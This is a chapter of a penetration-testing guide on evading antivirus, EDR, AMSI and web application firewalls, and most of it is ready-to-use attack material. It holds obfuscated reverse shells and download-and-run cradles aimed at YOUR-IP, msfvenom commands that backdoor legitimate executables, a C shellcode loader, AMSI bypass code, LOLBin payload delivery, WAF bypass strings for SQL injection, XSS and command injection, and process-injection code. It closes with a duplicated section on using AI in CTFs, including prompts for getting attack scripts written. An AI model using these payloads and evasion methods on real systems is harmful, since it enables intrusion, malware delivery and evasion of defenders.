Getting a shell is one thing. Keeping it — and getting there without every alarm in the building going off — is another skill entirely. Antivirus and Web Application Firewalls are the two most common detection layers between you and your objective. This section covers how both work, why they fail, and how professionals operate around them. Not to be malicious. To understand what defenders are relying on — and where those defenses have gaps.
🔰 Beginners: The plain English explanations of how AV and WAF work are essential reading before the techniques. Understanding why something is detected is more valuable than memorizing bypass methods that stop working when signatures update.
⚡ Seasoned practitioners: The EDR evasion, AMSI bypass, and living off the land sections contain current techniques. The detection engineering perspective in the advanced section is worth reading even at senior level — understanding how blue teams think makes you a better red teamer.
Before you start — know these terms:
- AV (Antivirus) — software that scans files and running processes for known malicious patterns. Signature-based detection matches known bad code. Heuristic detection looks for suspicious behavior.
- EDR (Endpoint Detection and Response) — the modern successor to antivirus. Monitors everything happening on a machine in real time — file writes, process creation, network connections, memory operations — and correlates events to detect attacks even when individual events look benign.
- WAF (Web Application Firewall) — sits in front of a web application and inspects HTTP requests for attack patterns. Blocks requests that match signatures for SQLi, XSS, command injection, path traversal, and other web attacks.
- AMSI (Antimalware Scan Interface) — a Windows feature that allows security software to inspect scripts and commands before they execute. PowerShell, WScript, and other scripting engines pass content through AMSI before running it.
- Signature — a specific pattern of bytes or behavior that security software recognizes as malicious. If your payload matches a signature — you are detected.
- Heuristic detection — detection based on behavior rather than known patterns. Does not need to have seen the exact payload before.
- How Antivirus Works — Plain English
- How EDR Works — Plain English
- How WAF Works — Plain English
- AV Evasion — Core Techniques
- Payload Encoding and Obfuscation
- Custom Payload Generation
- AMSI Bypass — Windows Specific
- Living Off the Land — LOLBins
- WAF Evasion — Core Techniques
- WAF Bypass by Vulnerability Type
- EDR Evasion — Advanced
- Detection Engineering Perspective
- Tools for Evasion Testing
- CTF vs Real World
The filing cabinet analogy:
Imagine a security guard at the door of a building with a massive facial recognitionn system full of pictures and descriptions of known criminals. Every person who walks in face gets compared to the facial recognition system. If you match a suspicious description — you are stopped.
That is signature-based antivirus. The facial recognition system is the signature database — millions of patterns that match known malware. Every file on your computer gets scanned against it. If your payload matches a pattern — it is flagged and quarantined.
The problem with signatures:
The security guard only stops people recognized in the facial recognition software system. A new criminal — one who has never been seen before — walks straight through. This is why malware authors modify their code constantly. Change enough of the payload and it no longer matches the signature.
Heuristic detection — the behavior guard:
More advanced AV adds a second guard who does not use the filing cabinet. Instead they watch how things behave. "This program is trying to read the password database. That is suspicious. Flagged."
Heuristic detection catches things signatures miss but generates more false positives — legitimate programs sometimes behave suspiciously.
Static vs dynamic analysis:
- Static analysis — scan the file without running it. Check bytes against signatures. Check strings for suspicious content.
- Dynamic analysis (sandboxing) — run the file in an isolated environment and watch what it does. More thorough but more resource intensive.
EDR is fundamentally different from antivirus. Antivirus looks at files. EDR watches everything that happens on the machine and connects the dots.
What EDR monitors:
Every process that starts — and what started it
Every file that is created, modified, or deleted
Every network connection — to where, from what process
Every registry change (Windows)
Every DLL that loads into every process
Memory — looking for injected code
API calls — looking for suspicious system calls
The correlation engine:
EDR does not just look at individual events — it correlates them. One suspicious event might be nothing. But:
PowerShell starts
→ PowerShell downloads a file from the internet
→ That file is written to a temp directory
→ A new process starts from that temp directory
→ That process makes an outbound connection to an unusual IP
→ That process reads the SAM database
Each individual step might be explainable. The chain is an attack. EDR catches the chain.
Why EDR is hard to bypass:
Unlike AV signatures that can be defeated by changing bytes, EDR watches behavior. You cannot rename your process and avoid detection — EDR sees what the process DOES, not just what it is called.
A Web Application Firewall sits between the internet and your web application. Every HTTP request passes through it before reaching the application. The WAF inspects the request — URL, parameters, headers, body — and decides whether to allow or block it.
Rule-based detection:
The WAF has a ruleset — a list of patterns that match known attacks.
Rule: if request contains "' OR '1'='1" → block (SQLi attempt)
Rule: if request contains "<script>" → block (XSS attempt)
Rule: if request contains "../../../" → block (path traversal)
Rule: if request contains "; whoami" → block (command injection)
The signature problem applies here too:
WAF rules match specific patterns. Change the pattern enough and the rule does not match. This is the core of WAF bypass — making your attack payload look different enough from the rule that the WAF allows it, while still being interpreted correctly by the application and database.
Commercial WAF examples:
Cloudflare WAF → most common, cloud-based
ModSecurity → open source, runs on Apache/Nginx
AWS WAF → Amazon's cloud WAF
Imperva → enterprise WAF
Akamai Kona → enterprise WAF
F5 BIG-IP ASM → enterprise WAF
The simplest approach. Encode your payload in a format AV does not recognize as malicious, then decode and execute it at runtime.
# Base64 encode a payload
echo -n 'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1' | base64
# Output: YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSLUlQLzQ0NDQgMD4mMQ==
# On target — decode and execute (never written to disk as malicious)
echo YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSLUlQLzQ0NDQgMD4mMQ== | base64 -d | bash
# PowerShell base64 (Unicode encoding — required for PowerShell -enc flag)
$cmd = 'IEX(New-Object Net.WebClient).DownloadString("http://YOUR-IP/shell.ps1")'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $encodedmsfvenom can encode payloads using various encoders to modify the byte patterns that signatures match.
# List available encoders
msfvenom --list encoders
# Encode a Windows payload with shikata_ga_nai
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=YOUR-IP LPORT=4444 \
-e x86/shikata_ga_nai -i 5 \
-f exe -o encoded_shell.exe
# -e x86/shikata_ga_nai → use this encoder
# -i 5 → encode 5 times (more iterations = more obfuscation)
# -f exe → output as Windows executable
# Multiple encoder iterations (more passes = harder to detect)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=YOUR-IP LPORT=4444 \
-e x86/shikata_ga_nai -i 10 \
-f exe -o encoded_10x.exe💡 Shikata_ga_nai is well-known: Most modern AV detects shikata_ga_nai by the decoder stub it prepends. Do not rely on it alone. Use it in combination with other techniques or use custom encoders.
# Different output formats for the same payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=YOUR-IP LPORT=4444 \
-f exe -o shell.exe # executable
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=YOUR-IP LPORT=4444 \
-f dll -o shell.dll # DLL — often less scrutinized
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=YOUR-IP LPORT=4444 \
-f ps1 -o shell.ps1 # PowerShell script
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=YOUR-IP LPORT=4444 \
-f hta-psh -o shell.hta # HTA file — runs via mshta.exeInject a payload into a legitimate, signed executable. The host executable is trusted — your payload rides inside it.
# msfvenom template injection
# Use a legitimate Windows executable as the template
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=YOUR-IP LPORT=4444 \
-x /path/to/legitimate.exe \
-f exe -o backdoored.exe
# The output looks like the legitimate executable
# but contains your payload# Invoke-Obfuscation — automated PowerShell obfuscation
# https://github.com/danielbohannon/Invoke-Obfuscation
# Install
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
# Basic usage in PowerShell
Import-Module ./Invoke-Obfuscation/Invoke-Obfuscation.psd1
Invoke-Obfuscation
# Manual PowerShell obfuscation techniques:
# String concatenation — breaks simple string matching
$c = "ba" + "sh"
$cmd = "IEX" + "(New-Ob" + "ject Net.WebClient).Down" + "loadString('http://YOUR-IP/shell.ps1')"
# Variable substitution
$a = "IEX"
$b = "(New-Object Net.WebClient).DownloadString('http://YOUR-IP/shell.ps1')"
& $a $b
# Tick mark insertion (PowerShell ignores backtick before letters)
I`E`X(Ne`w-Ob`ject Net.We`bClient).Dow`nloadStr`ing('http://YOUR-IP/shell.ps1')
# Character array
[char[]]"IEX" -join '' | IEX
# Encoding entire script
$s = 'IEX(New-Object Net.WebClient).DownloadString("http://YOUR-IP/shell.ps1")'
$e = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($s))
powershell -enc $e# Variable substitution
a=bas; b=h; $a$b -i >& /dev/tcp/YOUR-IP/4444 0>&1
# Using $IFS instead of spaces (bypass space filters)
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/YOUR-IP/4444${IFS}0>&1
# Hex encoding commands
echo -e "\x62\x61\x73\x68" # bash in hex
$(printf '\x62\x61\x73\x68') -i >& /dev/tcp/YOUR-IP/4444 0>&1
# Brace expansion
{ba,}sh -i >& /dev/tcp/YOUR-IP/4444 0>&1
# Reversing strings
echo "1>& 4444/PI-RUOY/pct/ved/ >& i- hsab" | rev | bashCommercial and custom tools produce payloads that bypass AV more reliably than standard msfvenom because their output is less well-known.
# Install
sudo apt install veil
# Or:
git clone https://github.com/Veil-Framework/Veil.git
cd Veil && ./config/setup.sh
# Run Veil
veil
# Inside Veil:
# use Evasion
# list → show available payloads
# use powershell/meterpreter/rev_tcp
# set LHOST YOUR-IP
# set LPORT 4444
# generate# Shellter injects shellcode into legitimate PE executables
# The output is a backdoored copy of a real Windows application
# Install on Kali
sudo apt install shellter
# Run (interactive mode)
shellter
# Shellter will ask for:
# → A PE file to inject into (use a real Windows exe like putty.exe)
# → Your shellcode (can use msfvenom output)
# → Stealth mode optionsPlain English: Writing your own shellcode loader in C produces an executable with no known signatures because it has never been seen before by AV. The shellcode itself is encrypted in memory and only decrypted at runtime — so static analysis finds nothing.
// Simple XOR encrypted shellcode loader
#include <windows.h>
#include <stdio.h>
// Your shellcode — XOR encrypted with key 0x41
// Generate with: msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f c
unsigned char shellcode[] = {
// paste your XOR-encrypted shellcode bytes here
0x00, 0x00 // placeholder
};
int main() {
// Decrypt shellcode at runtime (XOR with key)
unsigned char key = 0x41;
for (int i = 0; i < sizeof(shellcode); i++) {
shellcode[i] ^= key;
}
// Allocate memory, copy shellcode, execute
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
((void(*)())mem)();
return 0;
}# Compile for Windows from Linux (cross-compilation)
x86_64-w64-mingw32-gcc loader.c -o loader.exe -lws2_32
# Compile on Windows
gcc loader.c -o loader.exe -lws2_32
# Or with Visual Studio: cl loader.c /link ws2_32.libPlain English: AMSI (Antimalware Scan Interface) is a Windows feature that intercepts scripts before they execute and passes them to security software for scanning. When you run a PowerShell script containing known malicious code — even if you just paste it into a terminal — AMSI scans it and blocks it before a single line runs.
Bypassing AMSI means breaking or confusing the scanning interface before your payload executes.
# The classic AMSI bypass — patches amsi.dll in memory to always return clean
# This version is obfuscated to avoid detection itself
# Method 1 — Matt Graeber's classic (well-known, often detected)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Method 2 — obfuscated version
$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
$b=$a.GetField('amsi'+'InitFailed','NonPublic,Static')
$b.SetValue($null,$true)
# Method 3 — using reflection with string splitting
$c = 'System.Management.Automation.A'
$d = 'msiUtils'
$e = [Ref].Assembly.GetType($c+$d)
$f = $e.GetField('amsiInitFailed','NonPublic,Static')
$f.SetValue($null,$true)# Cause an error in AMSI initialization
# Makes AMSI skip scanning for the session
$w = [System.Runtime.InteropServices.Marshal]
$a = $w::AllocHGlobal(9076)
[Windows.Antimalware]::RtlMoveMemory($a, 'amsi.dll'+[char]0, [UInt32]'amsi.dll'.Length)# Download and run bypass without touching disk
IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/amsi-bypass.ps1')
# Popular AMSI bypass collections:
# https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
# https://github.com/rasta-mouse/AmsiScanBufferBypass💡 AMSI bypasses get patched: Microsoft and AV vendors update AMSI bypass detection regularly. A bypass that worked last month may be detected today. Always test before relying on a specific method. The techniques above may need modification depending on current detection status.
Plain English: Living off the land means using tools that are already installed on the target system — trusted, signed, legitimate Microsoft binaries or built-in OS utilities. These tools are trusted by Windows itself. AV and even many EDR solutions have difficulty flagging activity from signed Microsoft binaries.
The term LOLBins comes from "Living Off the Land Binaries" — the idea that an attacker uses what is already growing on the land rather than bringing their own tools.
# certutil — Microsoft certificate utility, can download files
certutil -urlcache -split -f http://YOUR-IP/payload.exe payload.exe
# bitsadmin — Background Intelligent Transfer Service
bitsadmin /transfer job /download /priority high http://YOUR-IP/payload.exe C:\Temp\payload.exe
# PowerShell — many methods
powershell -c "(New-Object Net.WebClient).DownloadFile('http://YOUR-IP/file.exe','file.exe')"
powershell -c "Invoke-WebRequest 'http://YOUR-IP/file.exe' -OutFile 'file.exe'"
powershell -c "IWR 'http://YOUR-IP/file.exe' -OutFile 'file.exe'"
# mshta — Microsoft HTML Application host, executes HTA files
mshta http://YOUR-IP/payload.hta
# wscript / cscript — Windows Script Host
wscript //E:jscript payload.js
cscript payload.vbs# rundll32 — run DLL files (and more)
rundll32.exe shell32.dll,ShellExec_RunDLL http://YOUR-IP/payload.exe
# regsvr32 — register COM objects (Squiblydoo technique)
regsvr32 /s /n /u /i:http://YOUR-IP/payload.sct scrobj.dll
# msiexec — Windows Installer
msiexec /q /i http://YOUR-IP/payload.msi
# wmic — Windows Management Instrumentation
wmic process call create "powershell -enc ENCODED_PAYLOAD"
# forfiles — execute commands matching file patterns
forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c powershell -enc ENCODED"
# pcalua — Program Compatibility Assistant
pcalua -a payload.exe
# infdefaultinstall.exe — runs .inf setup scripts
infdefaultinstall.exe payload.inf# Download
curl http://YOUR-IP/payload -o /tmp/payload
wget http://YOUR-IP/payload -O /tmp/payload
python3 -c "import urllib.request; urllib.request.urlretrieve('http://YOUR-IP/payload','/tmp/payload')"
# Execute without writing to disk
curl http://YOUR-IP/shell.sh | bash
wget -O - http://YOUR-IP/shell.sh | bash
# Unexpected execution vectors
awk 'BEGIN {system("/bin/bash -i >& /dev/tcp/YOUR-IP/4444 0>&1")}'
find /tmp -exec bash -c 'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1' \;
vim -c ':!bash -i >& /dev/tcp/YOUR-IP/4444 0>&1'
python3 -c "import os; os.system('bash -i >& /dev/tcp/YOUR-IP/4444 0>&1')"
# Privilege escalation via LOLBins (SUID/SUDO abuse)
# If sudo permissions exist for these:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc/passwd -exec /bin/sh \;
sudo vim -c ':!/bin/sh'
sudo python3 -c 'import os; os.system("/bin/sh")'Full LOLBins database — every documented binary with usage:
https://lolbas-project.github.io ← Windows
https://gtfobins.github.io ← Linux/Unix
-- WAFs often match lowercase keywords only
' uNiOn SeLeCt 1,2,3-- -
' UnIoN sElEcT 1,2,3-- --- Insert comments to break up keywords the WAF pattern-matches
' UN/**/ION SEL/**/ECT 1,2,3-- -
' /*!UNION*/ /*!SELECT*/ 1,2,3-- -
-- MySQL inline comments with version number
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3-- --- Use alternative whitespace characters instead of spaces
-- Tab (%09)
'%09UNION%09SELECT%091,2,3-- -
-- Newline (%0a)
'%0aUNION%0aSELECT%0a1,2,3-- -
-- Carriage return (%0d)
'%0dUNION%0dSELECT%0d1,2,3-- -
-- Form feed (%0c)
'%0cUNION%0cSELECT%0c1,2,3-- --- Single encode
' %55NION %53ELECT 1,2,3-- -
-- %55 = U, %53 = S
-- Double encode
' %2555NION %2553ELECT 1,2,3-- -
-- %25 decodes to %, then %55 decodes to U
-- Full double encode
%27%20%2555NION%20%2553ELECT%201%2C2%2C3--%20--- Some WAFs fail to handle concatenation or splitting
' UNI%00ON SEL%00ECT 1,2,3-- -
' /*!UN*/ION /*!SE*/LECT 1,2,3-- -# Send the same parameter multiple times
# Some WAFs only check the first occurrence
# The application may use the last occurrence
GET /page?id=1&id=' UNION SELECT 1,2,3-- -
POST /login
username=admin&password=test&username=' OR '1'='1
-- Standard UNION blocked → try scientific notation
' UNION SELECT 1e0,2e0,3e0-- -
-- Blocked keywords → use alternatives
-- information_schema blocked?
' UNION SELECT table_name,2 FROM mysql.innodb_table_stats-- -
-- SLEEP blocked for time-based?
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -
' AND BENCHMARK(5000000,MD5(1))-- -
-- Use sqlmap tamper scripts for automated bypass
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment
sqlmap -u "http://target.com/page?id=1" --tamper=charencodeSQLmap tamper scripts for WAF bypass:
# List all tamper scripts
sqlmap --list-tampers
# Useful tamper scripts:
# space2comment → replaces spaces with /**/
# randomcase → random case for keywords
# between → uses BETWEEN instead of > and
# charencode → URL encodes characters
# equaltolike → replaces = with LIKE
# greatest → replaces > with GREATEST()
# ifnull2ifisnull → replaces IFNULL with IF(ISNULL())
# Combine multiple tampers
sqlmap -u "URL" --tamper=space2comment,randomcase,charencode<!-- Standard <script> blocked → alternatives -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<iframe src="javascript:alert(1)">
<!-- Encoding bypasses -->
<img src=x onerror=alert(1)>
<svg onload=\u0061\u006c\u0065\u0072\u0074(1)>
<!-- Case and space manipulation -->
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
< script>alert(1)</ script>
<!-- Breaking up keywords -->
<scr<script>ipt>alert(1)</scr</script>ipt># Spaces filtered
IFS=,;cat,/etc/passwd
{cat,/etc/passwd}
bash$IFS-i$IFS>&$IFS/dev/tcp/YOUR-IP/4444$IFS0>&1
# Semicolons and pipes filtered
cat /etc/passwd%0a
cat /etc/passwd%0d
cat${IFS}/etc/passwd
# Command separators filtered → use redirection
>output.txt id
# Backticks and $() filtered → use alternatives
bash -c "bash -i >&/dev/tcp/YOUR-IP/4444 0>&1"
# Keywords filtered → use encoding
# whoami → $(printf '\x77\x68\x6f\x61\x6d\x69')
# id → $(printf '\x69\x64')# Standard ../ filtered
....//....//....//etc/passwd ← double encoding
..%2F..%2F..%2Fetc%2Fpasswd ← URL encoded
..%252F..%252Fetc%252Fpasswd ← double URL encoded
%2e%2e%2f%2e%2e%2f ← each char encoded
..././..././etc/passwd ← mixed
⚠️ This section covers advanced techniques used in authorized red team engagements against enterprise environments. These techniques are documented in academic research, DEFCON talks, and incident response reports. Understanding them is essential for penetration testers simulating advanced threats and for defenders building detection capabilities.
Plain English: Instead of running your malicious code as a standalone process — which is easy to detect — inject it into a legitimate, trusted process. The code runs inside explorer.exe or svchost.exe. EDR sees the legitimate process running, not your payload.
// Classic DLL injection — simplified concept
// 1. Open target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
// 2. Allocate memory in target process
LPVOID pMem = VirtualAllocEx(hProcess, NULL, dllPathLen,
MEM_COMMIT, PAGE_READWRITE);
// 3. Write DLL path into target process memory
WriteProcessMemory(hProcess, pMem, dllPath, dllPathLen, NULL);
// 4. Create remote thread that loads the DLL
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)LoadLibraryA, pMem, 0, NULL);Plain English: Normal Windows API calls go through ntdll.dll which is monitored by EDR (hooks are placed on the API calls to inspect arguments). Direct syscalls bypass ntdll.dll entirely — talking directly to the Windows kernel. EDR hooks in ntdll.dll never see the call.
This is an advanced technique used by sophisticated red teams and documented in tools like SysWhispers:
github.com/jthuraisamy/SysWhispers
github.com/jthuraisamy/SysWhispers2
github.com/klezVirus/SysWhispers3
Plain English: Start a legitimate Windows process in suspended state, replace its memory contents with your payload, then resume execution. The process looks legitimate from the outside — it IS a legitimate process — but its code has been replaced.
Start legitimate process (suspended)
→ Unmap its memory
→ Write payload into that memory
→ Resume execution
→ Payload runs inside legitimate process identity
Plain English: Windows records which process created each new process (the parent). EDR looks for suspicious parent-child relationships — cmd.exe spawning PowerShell spawning a network connection is suspicious. Spoofing makes your payload appear to have been spawned by a trusted parent.
Actual chain: exploit.exe → powershell.exe → reverse_shell.exe
Spoofed chain: explorer.exe → reverse_shell.exe
↑
Looks completely normal
Why this matters for offense:
The best offensive practitioners understand how defense works. If you know what defenders are looking for — what their detections trigger on — you can operate in the gaps. This is not about evading detection for malicious purposes. It is about validating whether defensive controls actually work as advertised.
What blue teams look for that catches most attackers:
PowerShell with -enc flag and -nop and -c together
→ Classic malicious PowerShell pattern
→ Bypass: use different flag combinations or legitimate script files
cmd.exe spawned by a web server process (apache, w3wp, nginx)
→ Classic web shell indicator
→ Bypass: spawn PowerShell directly from the web app instead
Network connections from scripting engines
→ python.exe or powershell.exe making outbound connections
→ Bypass: inject into a process that legitimately makes connections
base64 in command lines
→ Extremely high signal for malicious activity
→ Bypass: use alternatives to base64 for encoding
LSASS access from non-system processes
→ Credential dumping indicator
→ Bypass: use indirect access methods
Lateral movement patterns
→ Single machine authenticating to many others in short time
→ Bypass: slow down, blend with normal authentication patterns
The defender's advantage:
Defenders have home field advantage. They know their environment. They can write detections specific to their network. A skilled defensive team with good visibility will eventually catch any attacker who stays long enough — which is why real attackers focus on speed and leaving as few artifacts as possible.
# VirusTotal — test against 70+ AV engines
# https://www.virustotal.com
# CAUTION: uploading to VirusTotal shares your payload with AV vendors
# They will add signatures for it — use for testing, not operational payloads
# Use in a non-operational context only
# Antiscan.me — like VirusTotal but does NOT share with vendors
# https://antiscan.me
# Better for testing payloads you intend to use
# Local testing — run your AV on a test machine
# Better than online scanning for operational payloads# SQLmap with tamper scripts — automated WAF bypass testing
sqlmap -u "URL" --tamper=space2comment,randomcase --level=5 --risk=3
# wafw00f — identify which WAF is running
pip3 install wafw00f
wafw00f http://target.com
# Bypass specific WAF rules manually
# Use Burp Suite Intruder with a payload list of bypass techniques# Test if AMSI is active
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') | Get-Member
# Quick AMSI test (harmless — just tests if AMSI intercepts)
'amsicontext'
# If AMSI is active — this string will be flagged
# If it executes without error — AMSI may be bypassed or disabled| CTF | Real Engagement | |
|---|---|---|
| AV present | Rarely | Almost always |
| EDR present | Almost never | Common in enterprise |
| WAF present | Sometimes | Very common |
| AMSI | Sometimes on Windows boxes | Standard on modern Windows |
| Evasion needed | Occasionally | Usually required |
| Custom payloads | Overkill | Often necessary |
| LOLBins | Rarely needed | Standard practice |
| Detection risk | None — it is a lab | Real consequences |
| Cleanup required | No | Yes — remove all artifacts |
| Documentation | Notes | Full report including bypass techniques used |
This is a hot topic in the security community and it deserves an honest conversation rather than a disclaimer.
The reality: Most people doing CTFs use AI heavily — for payload generation, for script writing, for explaining techniques, for getting unstuck on boxes. That is the current reality. Some platforms are beginning to detect and restrict this. That will likely increase over time.
The skid line: Using AI to write a payload you do not understand is the modern version of being a script kiddie. You can get through the box. You learned nothing. The difference between someone who uses AI as a tool to accelerate their learning and someone who uses AI as a crutch to avoid learning is whether they understand what the AI produced. If you cannot explain what the payload does — you did not learn exploitation. You learned how to ask a chatbot.
The experience side: More experienced practitioners sometimes use AI to write payloads or scripts too — not because they cannot, but because writing it manually would take hours and the box or engagement has a clock. That is a different situation. They understand every line. They are choosing efficiency over process.
The real concern: Using AI to write scripts that get you through boxes without understanding them means you are building a portfolio of completed boxes on top of a foundation that does not exist. That gap shows up in interviews. It shows up on real engagements. It shows up when the AI-generated payload does not work and you have no idea why.
The pause on AI-assisted scripts for learning: If you are here to learn — and you are, because you are reading a guide — let the AI explain and assist, but write the scripts yourself. The struggle is the learning. The moment you paste AI output without understanding it, you skipped the part that mattered.
This is a hot topic in the security community and it deserves an honest conversation rather than a disclaimer.
The reality: Most people doing CTFs use AI heavily — for payload generation, for script writing, for explaining techniques, for getting unstuck on boxes. That is the current reality. Some platforms are beginning to detect and restrict this. That will likely increase over time.
The skid line: Using AI to write a payload you do not understand is the modern version of being a script kiddie. You can get through the box. You learned nothing. The difference between someone who uses AI as a tool to accelerate their learning and someone who uses AI as a crutch to avoid learning is whether they understand what the AI produced. If you cannot explain what the payload does — you did not learn exploitation. You learned how to ask a chatbot.
The experience side: More experienced practitioners sometimes use AI to write payloads or scripts too — not because they cannot, but because writing it manually would take hours and the box or engagement has a clock. That is a different situation. They understand every line. They are choosing efficiency over process.
The real concern: Using AI to write scripts that get you through boxes without understanding them means you are building a portfolio of completed boxes on top of a foundation that does not exist. That gap shows up in interviews. It shows up on real engagements. It shows up when the AI-generated payload does not work and you have no idea why.
The pause on AI-assisted scripts for learning: If you are here to learn — and you are, because you are reading a guide — let the AI explain and assist, but write the scripts yourself. The struggle is the learning. The moment you paste AI output without understanding it, you skipped the part that mattered.
AI is not supposed to help you pentest systems you do not own. AI agents are not certified penetration testers. Boxes that are new or currently in season on HTB will not be in training data. Getting AI to just solve a box for you produces nothing useful.
Here is the difference between a bad prompt and a good one:
Bad prompt — gets you nothing useful:
hack this box for me, ip is 10.10.10.3, i found port 21 open
Good prompt for learning on a CTF box:
I am working on an authorized HackTheBox practice machine.
I have found vsftpd 2.3.4 running on port 21. I have tried
connecting anonymously and it succeeded. I ran searchsploit and
found a backdoor exploit. I attempted to run the Python exploit
from Exploit-DB but I am getting a connection refused error
on port 6200. Can you help me understand why the backdoor trigger
might not be working and what I should check next? I want to
understand the technique, not just get the answer.
This prompt gives context, shows your work, asks for understanding, and frames the request as learning — not outsourcing. You will get a far more useful and educational response.
Good prompt for payload or script assistance during pentesting:
I am conducting an authorized penetration test on a system I have
written permission to assess. I need a Python script that connects
to a target IP on port 9999, sends a buffer of increasing A characters
until the service crashes, and records at which size the crash occurs.
This is for fuzzing as part of a buffer overflow assessment.
Can you write this script and explain each section so I understand
what it is doing?
This prompt establishes authorization context, describes the specific need, and asks for explanation alongside the code. The explanation request is not optional — if you do not ask for it you will get code you do not understand.
The bottom line: AI is a tool. A powerful one. Use it to learn faster, not to avoid learning. The community will always be able to tell the difference.
| Resource | What It Covers |
|---|---|
| Shells | Getting the shell that needs to evade |
| Manual Exploitation | Context for when evasion is needed |
| Advanced Chaining | LOLBins in full attack chains |
| Vuln Research | Finding exploits before adding evasion |
by SudoChef · Part of the SudoCode Pentesting Methodology Guide